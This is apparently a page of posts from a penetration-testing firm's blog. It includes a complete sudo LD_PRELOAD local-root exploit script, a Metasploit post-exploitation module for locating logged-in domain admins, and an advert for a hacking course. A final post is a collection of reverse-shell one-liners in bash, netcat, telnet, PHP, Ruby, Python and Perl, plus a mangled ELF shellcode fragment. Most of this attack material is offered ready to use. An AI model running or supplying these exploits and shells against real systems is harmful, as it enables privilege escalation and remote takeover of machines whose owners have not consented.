Grey bar Blue bar
Share this:

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1

Thu, 23 May 2013

Stay low, move fast, shoot first, die last, one shot, one kill, no luck, pure skill ...

We're excited to be presenting our Hacking By Numbers Combat course again at Black Hat USA this year. SensePost's resident German haxor dude Georg-Christian Pranschke will be presenting this year's course. Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to pwn as much of the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:

  • you have an excellent grounding in terms of infrastructure - and application assessments

  • you aren't scared of tackling systems that aren't easily owned using Metasploit

  • gaining root is an almost OCD-like obsession

  • there are no basic introductions into linux, shells, pivoting etc.

As we've always said, it is quite literally an all-hack, no-talk course. We are not going to dictate what tools or technologies get used by students. We don't care if you use ruby or perl or python to break something (we do, actually - we don't like ruby), just as long as it gets broken. The Combat course itself is a series of between 12 and 15 (depending on time) capture the flag type exercises presented over a period of two days. The exercises include infrastructure, reverse engineering and crypto.

These targets come from real life assessments we've faced at SensePost, it's about as real as you can get without having to do the report at the end of it. How it works is that candidates are presented with a specific goal. If the presenter is feeling generous at the time, they may even get a description of the technology. After that, they'll have time to solve the puzzle. Afterwards, there will be a discussion about the failings, takeaways and alternate approaches adopted by the class. The latter is normally fascinating as (as anybody in the industry knows), there are virtually a limitless number of different ways to solve specific problems. This means that even the instructor gets to learn a couple of new tricks (we also have prizes for those who teach them enough new tricks).

In 2012, Combat underwent a massive rework and we presented a virtually new course which went down excellently. We're aiming to do the same this year, and to make it the best Combat course ever. So if you're interested in spending two days' worth of intense thinking solving some fairly unique puzzles and shelling boxen, join us for HBN Combat at BlackHat USA.

Mon, 22 Apr 2013

Windows Domain Privilege Escalation : Implementing PSLoggedOn in Metasploit (+ a bonus history module)

There are multiple paths one could take to getting Domain Admin on a Microsoft Windows Active Directory Domain. One common method for achieving this is to start by finding a system where a privileged domain account, such as a domain admin, is logged into or has recently been logged into. Once access to this system has been gained, either stealing their security tokens (ala Incognito or pass-the-hash attacks) or querying Digest Authentication (with Mimikatz/WCE) to get their clear-text password. The problem is finding out where these user's are logged in.

I've often seen nmap and the smb-enum-sessions script ( used to retrieve all the user sessions on the network. This (not so grep'pable) output is then grep'ed to find the hosts where our target user is logged in. The process of smb-enum-sessions and subsequent analysis can be quite time consuming and clumsy. On a recent assessment, multiple tunnels in, where uploading nmap wasn't a great idea, we realised that there has to be a better way of doing this. While searching for an alternative solution we came across PsLoggedOn (SysInternals Suite) which, with a single binary, allows you search the network for locations where a user is logged in. The downside with this is that it doesn't cleanly run via psexec or other remote shells and you need graphical logon to a system on the domain, and you need to upload another binary (the PsLoggedOn executable) to the target system. Examining how PsLoggedOn worked we figured out that it was simply using the Windows NetSessionEnum API. Having a look at the API I figured that it should be possible to write a simple post exploit module for Metasploit using the railgun.

After some trial and error, we now present enum_domain_user.rb a simple Metasploit post exploit module capable of finding network sessions for a specific user. Below is a screenshot of the module in action.

To use the module,

1.) Download and copy it to:
(we'll send a pull request to metasploit-framework's github shortly).

2.) In MSF:
use post/windows/gather/enum_domain_user

3.) Set the USER and SESSION variables.

4.) Then simply run it with "exploit".

The module can also be used directly from meterpreter with:
run post/windows/gather/enum_domain_user USER=username

Warning, this doesn't seem to work with x64 meterpreter yet mostly likely due to some memory pointer stuff I haven't worked out. Hopefully this will get updated shortly, or even better, one of you smart people out there can fix my horrible Ruby.


As an added extra I've included a Metapsloit history plugin. This plugin will simply allow you to view all the commands executed since the module was loaded and then execute them "bash style".

Typing "history" will give display the last 10 commands executed. If you wish to see more commands, type history <numberof entries>

To run a command from the history list type:
history !<command number>

Below is an action shot of the history module.

To install:

1.) Download and Copy history.rb to the plugins folder: <msf install>/plugins/
2.) In msfconsole type: load history
3.) For usage info type: help history

Both modules are available for download on Github, and I'll submit a pull request to metasploit-framework shortly. Please feel free to fork and be merry. Any updates/fixes/comments are welcome.

Tue, 11 Dec 2012

T-Shirt Shell Competition

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars

nc -e sh 1

Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars

sh>&/dev/tcp/ 0>&1

Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars

mkfifo x&&telnet 8 0<x|sh 1>x

Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars

<?php $s=fsockopen("",8);exec("sh<&3>&3 2>&3");?>

Requires PHP CLI. This one from Rogan.

Ruby — 73 chars"",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)

Need to invoke this with

ruby -rsocket small-rev.rb

which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars

import socket as x,os

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars

$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with
perl -MIO

Elf - 133 chars

ELF??????????????T€4???????????4? ????????????????€?€ ??? ?????????1ÛSCSjjfX‰áÍ€—[h??fh fS‰ájfXPQW‰áCÍ€[™